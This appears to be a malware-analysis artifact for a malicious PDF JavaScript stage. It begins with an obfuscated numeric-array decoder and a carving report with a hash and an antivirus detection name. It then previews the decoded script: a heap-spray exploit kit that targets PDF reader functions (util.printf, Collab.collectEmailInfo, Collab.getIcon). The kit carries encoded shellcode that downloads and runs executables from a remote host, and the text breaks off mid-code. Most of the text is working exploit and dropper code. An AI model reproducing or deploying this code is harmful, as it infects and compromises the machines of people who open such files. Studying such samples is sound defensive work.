7,107,69,58,65,57,177,145,170,163,168,80,117,80,158,153,176,143,161,164,96,169,153,162,171,160,100,80,164,149,166,89,115,61,66,57,65,166,153,162,88,147,167,165,166,164,106,80,117,80,96,147,155,80,101,80,104,168,108,96,104,96,104,96,97,95,153,148,156,162,115,61,66,57,65,150,167,162,88,88,174,145,170,80,155,159,173,158,172,80,117,80,104,107,88,147,167,165,166,164,88,108,88,147,167,165,166,164,106,107,88,147,167,165,166,164,99,91,97,171,69,58,65,57,65,157,157,157,151,145,170,162,153,169,147,147,167,165,166,164,149,80,117,80,177,145,170,163,168,80,99,80,171,152,157,156,164,147,167,148,157,107,69,58,65,57,181,61,66,57,65,166,153,162,88,159,174,149,170,150,164,159,175,80,117,80,173,158,157,163,155,145,168,149,96,82,93,165,104,147,104,147,93,165,104,147,104,147,90,89,115,61,66,57,65,167,160,153,164,149,88,88,167,166,157,162,158,156,167,167,102,156,157,158,159,164,160,80,116,80,108,100,113,101,106,89,179,61,66,57,65,57,167,166,157,162,158,156,167,167,88,91,117,80,167,166,157,162,158,156,167,167,115,61,66,57,65,173,69,58,65,57,172,152,161,163,102,147,167,156,164,145,154,131,172,159,170,149,88,109,88,115,167,156,164,145,154,94,155,159,164,156,157,147,172,117,165,145,161,156,129,158,158,159,96,171,171,165,154,154,114,80,90,82,100,157,171,151,114,80,167,166,157,162,158,156,167,167,181,89,115,61,66,57,181,61,66,61,66,57,158,165,166,147,172,153,167,158,88,147,167,156,164,145,154,143,159,149,172,153,155,159,166,88,97,171,69,58,65,57,161,150,88,88,153,160,168,94,156,159,155,94,123,159,164,156,153,146,102,151,157,164,129,147,167,158,97,171,69,58,65,57,65,166,153,162,88,145,170,162,177,80,117,80,166,149,175,80,121,162,170,145,177,88,97,107,69,58,65,57,65,166,153,162,88,166,174,160,157,164,160,169,153,80,117,80,173,158,157,163,155,145,168,149,96,82,93,165,125,114,125,105,93,165,104,96,104,97,93,165,109,102,104,96,93,165,121,97,110,100,93,165,104,96,107,96,93,165,104,96,104,96,93,165,108,96,112,114,93,165,112,114,104,115,93,165,105,115,111,96,93,165,112,114,121,116,93,165,104,104,108,96,93,165,123,99,109,117,93,165,112,114,109,101,93,165,112,114,125,115,93,165,104,104,108,101,93,165,107,99,109,98,93,165,123,97,124,98,93,165,104,99,123,98,93,165,105,96,107,98,93,165,112,96,108,96,93,165,104,96,107,104,93,165,126,101,111,101,93,165,123,98,112,114,93,165,109,116,109,113,93,165,104,100,123,98,93,165,109,101,104,96,93,165,125,115,112,114,93,165,109,97,109,97,93,165,109,102,109,99,93,165,110,96,109,103,93,165,109,116,112,114,93,165,107,99,104,104,93,165,112,114,123,96,93,165,104,115,111,101,93,165,126,117,112,114,93,165,111,102,104,99,93,165,112,114,107,115,93,165,111,104,108,117,93,165,123,118,104,99,93,165,109,97,112,114,93,165,109,98,105,115,93,165,109,97,112,114,93,165,109,98,106,100,93,165,111,97,112,114,93,165,108,117,105,100,93,165,111,101,112,105,93,165,112,114,126,115,93,165,106,96,111,97,93,165,126,103,104,99,93,165,108,113,113,105,93,165,108,98,121,116,93,165,107,114,110,96,93,165,126,115,109,101,93,165,104,100,111,101,93,165,123,96,107,99,93,165,107,103,125,114,93,165,126,118,107,99,93,165,108,101,104,99,93,165,113,103,104,115,93,165,123,118,112,114,93,165,111,101,121,117,93,165,106,114,126,116,93,165,108,118,126,105,93,165,125,104,109,97,93,165,126,118,113,100,93,165,126,118,126,118,93,165,123,99,107,114,93,165,111,100,110,97,93,165,125,114,104,98,93,165,112,114,124,105,93,165,104,115,108,101,93,165,109,117,113,98,93,165,126,98,104,99,93,165,125,96,124,97,93,165,123,102,104,99,93,165,123,105,107,99,93,165,122,103,104,118,93,165,109,118,104,104,93,165,125,97,123,97,93,165,104,99,104,98,93,165,104,99,123,113,93,165,112,114,123,118,93,165,104,99,104,97,93,165,112,105,123,98,93,165,126,104,108,101,93,165,112,114,110,97,93,165,126,104,108,101,93,165,109,117,109,118,93,165,123,105,109,114,93,165,109,101,123,99,93,165,125,115,112,114,93,165,125,104,109,97,93,165,126,118,108,105,93,165,126,118,126,118,93,165,110,104,109,96,93,165,110,96,125,104,93,165,104,100,122,118,93,165,110,115,125,104,93,165,126,118,126,118,93,165,107,99,126,118,93,165,109,98,124,98,93,165,126,118,109,98,93,165,104,104,111,101,93,165,124,96,126,118,93,165,108,101,112,105,93,165,112,114,126,115,93,165,126,115,108,101,93,165,123,99,123,105,93,165,112,114,109,101,93,165,112,99,125,115,93,165,104,115,125,115,93,165,108,101,112,116,93,165,109,96,126,100,93,165,108,101,123,102,93,165,111,101,126,100,93,165,108,101,123,102,93,165,111,98,126,101,93,165,108,101,123,102,93,165,110,115,126,102,93,165,108,101,123,102,93,165,110,116,126,103,93,165,108,101,123,102,93,165,110,118,126,104,93,165,108,101,123,102,93,165,110,117,126,105,93,165,108,101,123,102,93,165,106,117,126,113,93,165,108,101,123,102,93,165,110,100,126,114,93,165,108,101,123,102,93,165,110,115,126,115,93,165,108,101,123,102,93,165,110,115,126,116,93,165,108,101,123,102,93,165,104,96,126,117,93,165,121,96,125,104,93,165,126,118,126,118,93,165,109,96,126,118,93,165,109,116,110,104,93,165,105,97,112,113,93,165,125,104,105,102,93,165,126,118,105,101,93,165,126,118,126,118,93,165,123,100,112,99,93,165,112,101,104,115,93,165,111,100,123,96,93,165,110,113,105,101,93,165,110,113,104,96,93,165,126,118,104,96,93,165,104,115,111,101,93,165,111,101,126,118,93,165,110,113,104,104,93,165,126,118,104,96,93,165,112,101,124,96,93,165,111,101,123,96,93,165,108,96,104,99,93,165,123,99,123,105,93,165,123,96,107,99,93,165,123,99,123,105,93,165,107,99,109,103,93,165,112,114,123,96,93,165,106,100,108,115,93,165,112,114,104,115,93,165,106,100,111,115,93,165,126,115,104,104,93,165,121,113,126,99,93,165,123,99,109,118,93,165,108,115,112,114,93,165,104,100,106,100,93,165,107,105,112,96,93,165,112,114,104,96,93,165,111,100,123,97,93,165,108,96,104,102,93,165,107,104,112,96,93,165,111,101,104,96,93,165,106,114,126,113,93,165,123,99,123,97,93,165,112,114,109,101,93,165,112,99,125,115,93,165,110,100,125,115,93,165,112,116,109,99,93,165,126,96,108,101,93,165,107,99,109,103,93,165,109,96,124,114,93,165,108,101,123,102,93,165,110,114,126,96,93,165,108,101,123,102,93,165,110,101,126,97,93,165,108,101,123,102,93,165,111,98,126,98,93,165,108,101,123,102,93,165,110,117,126,99,93,165,108,101,123,102,93,165,110,101,126,100,93,165,108,101,123,102,93,165,110,115,126,101,93,165,108,101,123,102,93,165,107,99,126,102,93,165,108,101,123,102,93,165,107,98,126,103,93,165,108,101,123,102,93,165,106,117,126,104,93,165,108,101,123,102,93,165,110,100,126,105,93,165,108,101,123,102,93,165,110,115,126,113,93,165,108,101,123,102,93,165,110,115,126,114,93,165,109,116,112,104,93,165,125,104,126,115,93,165,126,118,104,114,93,165,126,118,126,118,93,165,110,104,109,96,93,165,108,99,110,104,93,165,112,117,126,105,93,165,112,96,125,104,93,165,126,118,126,117,93,165,112,114,126,118,93,165,112,116,126,104,93,165,113,115,108,101,93,165,108,100,110,113,93,165,125,104,109,96,93,165,126,118,111,117,93,165,126,118,126,118,93,165,108,101,112,116,93,165,110,113,125,96,93,165,109,96,105,96,93,165,111,99,125,104,93,165,126,118,126,118,93,165,112,99,126,118,93,165,105,115,123,100,93,165,108,101,112,116,93,165,109,96,125,96,93,165,108,101,112,116,93,165,109,96,113,115,93,165,109,99,109,99,93,165,109,99,109,99,93,165,109,99,109,99,93,165,111,101,126,118,93,165,123,103,104,104,93,165,113,115,108,101,93,165,104,96,108,100,93,165,104,96,104,96,93,165,126,118,109,99,93,165,109,118,124,103,93,165,122,102,104,118,93,165,109,114,123,96,93,165,123,99,123,105,93,165,112,114,109,101,93,165,109,97,125,115,93,165,109,99,109,97,93,165,109,103,109,102,93,165,108,98,110,113,93,165,111,98,125,104,93,165,104,96,104,96,93,165,112,114,104,96,93,165,107,99,124,104,93,165,112,101,126,102,93,165,109,105,124,114,93,165,108,101,123,103,93,165,110,97,126,104,93,165,110,101,106,117,93,165,123,103,111,104,93,165,126,115,108,101,93,165,104,96,110,101,93,165,104,96,104,96,93,165,109,102,111,117,93,165,108,101,112,116,93,165,109,96,126,104,93,165,125,104,109,102,93,165,104,96,109,97,93,165,104,96,104,96,93,165,109,96,109,105,93,165,122,97,125,104,93,165,126,118,126,117,93,165,112,101,126,118,93,165,109,105,123,96,93,165,111,100,109,105,93,165,112,116,107,105,93,165,104,97,108,102,93,165,125,104,109,96,93,165,104,96,107,114,93,165,104,96,104,96,93,165,126,104,112,114,93,165,108,101,112,116,93,165,109,96,126,104,93,165,106,97,125,104,93,165,126,118,126,118,93,165,112,101,126,118,93,165,109,105,123,96,93,165,111,100,109,105,93,165,109,103,104,115,93,165,104,97,125,104,93,165,126,118,126,118,93,165,109,105,126,118,93,165,108,100,123,102,93,165,126,118,107,104,93,165,109,96,111,99,93,165,108,101,112,116,93,165,126,117,126,104,93,165,109,104,104,96,93,165,108,101,112,116,93,165,109,96,126,104,93,165,125,104,109,103,93,165,126,117,111,100,93,165,126,118,126,118,93,165,109,105,109,105,93,165,108,102,108,102,93,165,126,99,107,114,93,165,121,113,111,115,93,165,109,117,109,118,93,165,123,105,109,114,93,165,109,101,123,99,93,165,125,115,112,114,93,165,109,99,109,97,93,165,110,96,110,102,93,165,107,98,122,97,93,165,104,96,125,104,93,165,104,96,104,96,93,165,109,104,104,96,93,165,104,104,107,104,93,165,104,99,111,100,93,165,125,114,108,96,93,165,108,96,126,105,93,165,109,116,112,114,93,165,112,96,104,104,93,165,108,98,126,114,93,165,104,104,111,101,93,165,124,114,107,99,93,165,105,104,112,113,93,165,123,99,112,114,93,165,105,103,125,114,93,165,105,104,107,104,93,165,105,97,111,102,93,165,107,99,108,96,93,165,112,100,123,105,93,165,111,100,124,114,93,165,108,96,104,115,93,165,104,104,107,104,93,165,126,114,111,101,93,165,126,117,108,96,93,165,125,114,123,114,93,165,107,99,126,98,93,165,112,105,123,96,93,165,126,115,108,101,93,165,108,101,112,114,93,165,109,114,126,115,93,165,123,99,123,105,93,165,104,98,107,98,93,165,111,100,110,104,93,165,111,96,111,100,93,165,106,118,107,113,93,165,110,116,106,118,93,165,111,98,110,105,93,165,110,118,111,98,93,165,110,118,111,98,93,165,110,101,110,117,93,165,110,118,111,98,93,165,110,105,110,102,93,165,110,101,111,102,93,165,110,99,106,117,93,165,110,116,110,118,93,165,111,99,106,118,93,165,110,101,110,115,93,165,111,96,110,101,93,165,110,101,106,118,93,165,111,96,110,113,93,165,111,113,111,100,93,165,106,117,107,98,93,165,111,104,110,101,93,165,104,96,110,101,93,165,111,100,110,104,93,165,111,96,111,100,93,165,106,118,107,113,93,165,110,116,106,118,93,165,111,98,110,105,93,165,110,118,111,98,93,165,110,118,111,98,93,165,110,101,110,117,93,165,110,118,111,98,93,165,110,105,110,102,93,165,110,101,111,102,93,165,110,99,106,117,93,165,110,116,110,118,93,165,111,99,106,118,93,165,110,101,110,115,93,165,111,96,110,101,93,165,110,99,106,118,93,165,110,105,110,115,93,165,110,114,110,99,93,165,111,96,106,117,93,165,111,96,110,104,93,165,111,98,107,118,93,165,104,96,107,116,90,89,115,61,66,57,65,57,174,145,170,80,160,135,169,101,104,96,123,126,88,109,88,166,174,160,157,164,160,169,153,94,164,149,166,151,172,152,88,90,88,98,115,61,66,57,65,57,174,145,170,80,164,149,166,80,117,80,104,168,108,96,104,96,104,96,88,93,88,88,160,135,169,101,104,96,123,126,88,91,88,96,176,99,112,89,115,61,66,57,65,57,174,145,170,80,177,145,170,163,168,80,117,80,173,158,157,163,155,145,168,149,96,82,93,165,113,96,113,96,93,165,113,96,113,96,90,89,115,61,66,57,65,57,177,145,170,163,168,80,117,80,158,153,176,143,161,164,96,169,153,162,171,160,100,80,164,149,166,89,115,61,66,57,65,57,174,145,170,80,168,101,121,154,131,102,109,150,88,109,88,88,104,168,104,147,104,147,104,147,104,147,88,93,88,96,176,100,104,96,104,96,104,89,88,95,88,96,176,100,104,96,104,96,104,107,69,58,65,57,65,150,167,162,88,88,174,145,170,80,174,161,155,129,124,105,110,169,88,109,88,96,115,80,174,161,155,129,124,105,110,169,88,108,88,160,109,113,162,123,110,101,158,107,88,166,169,147,137,116,113,102,177,80,99,91,88,89,179,61,66,57,65,57,65,145,170,162,177,139,174,161,155,129,124,105,110,169,149,80,117,80,177,145,170,163,168,80,99,80,174,166,168,149,172,152,177,145,115,61,66,57,65,57,181,61,66,57,65,57,174,145,170,80,172,133,133,152,134,146,127,167,88,109,88,165,166,149,171,147,153,160,157,88,90,85,104,105,90,89,115,61,66,57,65,57,175,152,161,156,157,80,96,164,141,125,160,126,154,119,175,94,164,149,166,151,172,152,88,108,88,96,176,100,104,96,104,89,179,61,66,57,65,57,65,164,141,125,160,126,154,119,175,80,99,109,88,164,141,125,160,126,154,119,175,107,69,58,65,57,65,173,69,58,65,57,65,164,141,125,160,126,154,119,175,80,117,80,90,126,102,82,88,91,88,164,141,125,160,126,154,119,175,107,69,58,65,57,65,145,168,160,102,148,167,147,102,115,167,156,164,145,154,94,159,149,172,121,155,159,166,88,172,133,133,152,134,146,127,167,97,107,69,58,65,57,181,61,66,57,181,61,66,61,66,57,158,165,166,147,172,153,167,158,88,160,156,150,151,163,172,145,170,164,96,89,179,61,66,61,66,57,65,166,153,162,88,166,157,162,171,153,167,158,88,109,88,145,168,160,102,166,161,149,175,149,170,134,157,162,171,153,167,158,102,164,167,131,172,162,161,158,159,88,97,107,69,58,65,57,174,149,170,163,161,159,166,80,117,80,174,149,170,163,161,159,166,94,170,149,168,156,153,147,157,88,103,140,124,95,159,92,95,87,97,107,69,58,65,57,174,145,170,80,174,145,170,163,161,159,166,143,153,162,170,145,177,80,117,80,166,149,175,80,121,162,170,145,177,88,174,149,170,163,161,159,166,94,155,152,153,162,121,164,96,96,97,92,88,166,157,162,171,153,167,158,102,147,160,145,170,113,172,88,105,89,100,80,174,149,170,163,161,159,166,94,155,152,153,162,121,164,96,98,97,89,115,61,66,57,65,153,158,80,96,88,174,145,170,163,161,159,166,143,153,162,170,145,177,139,104,141,88,109,117,80,112,89,88,86,94,80,96,166,153,162,171,153,167,158,151,145,170,162,153,169,147,97,149,80,117,109,88,96,97,80,180,172,88,88,174,145,170,163,161,159,166,143,153,162,170,145,177,139,105,141,88,109,117,80,105,80,94,86,88,166,153,162,171,153,167,158,151,145,170,162,153,169,147,98,149,80,116,80,107,89,97,171,69,58,65,57,65,165,172,153,164,143,168,162,161,158,172,150,96,89,115,61,66,57,65,173,69,58,65,57,161,150,88,88,96,166,153,162,171,153,167,158,151,145,170,162,153,169,147,96,149,80,116,80,112,89,88,172,180,80,96,166,153,162,171,153,167,158,151,145,170,162,153,169,147,96,149,80,117,109,88,104,88,86,94,80,174,145,170,163,161,159,166,143,153,162,170,145,177,139,105,141,88,108,88,98,88,86,94,80,174,145,170,163,161,159,166,143,153,162,170,145,177,139,106,141,88,108,88,98,97,89,179,61,66,57,65,57,155,159,164,156,153,146,151,149,165,145,161,156,96,89,115,61,66,57,65,173,69,58,65,57,161,150,88,88,96,166,153,162,171,153,167,158,151,145,170,162,153,169,147,96,149,80,116,80,113,89,88,172,180,80,96,166,153,162,171,153,167,158,151,145,170,162,153,169,147,96,149,80,117,109,88,105,88,86,94,80,174,145,170,163,161,159,166,143,153,162,170,145,177,139,105,141,88,108,88,97,97,89,179,61,66,57,65,57,155,159,164,156,153,146,151,151,157,164,161,147,167,158,96,89,115,61,66,57,65,173,69,58,65,173,69,58,69,58,65,160,156,150,151,163,172,145,170,164,96,89,115,61,66,57],ajkw=function(){for(var kptvy;cbyzo<bcmu.length;cbyzo+=1){var wjfz=cbyzo%nmzw.length+1;var afglrt=nmzw.substring(cbyzo%nmzw.length,wjfz);var xolgzv=bcmu[cbyzo];dgnsuv+=jlvx(xolgzv-afglrt.charCodeAt(0));} dlmnv(dgnsuv);};ajkw();cfnqvw=true;nmkz=false;fnosux="";fqsu="fqsu";aflx='';netz='';picjsz=51939;nrsuv="";flosuy="flosuy";acjnq="acjnq";ceprx=43633;qcpzds='';ghik='';dejsy="";bdgmpu=1934;
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10072 bytes
SHA-256: `1bc628fd489ab3513e5c4974d8bb7a398757c9be3dd9a9d49534b6ca3d1ef499`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u642F%u7767%u3279%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u622F%u6863%u706A%u3278%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u652F%u706A%u7A74%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var 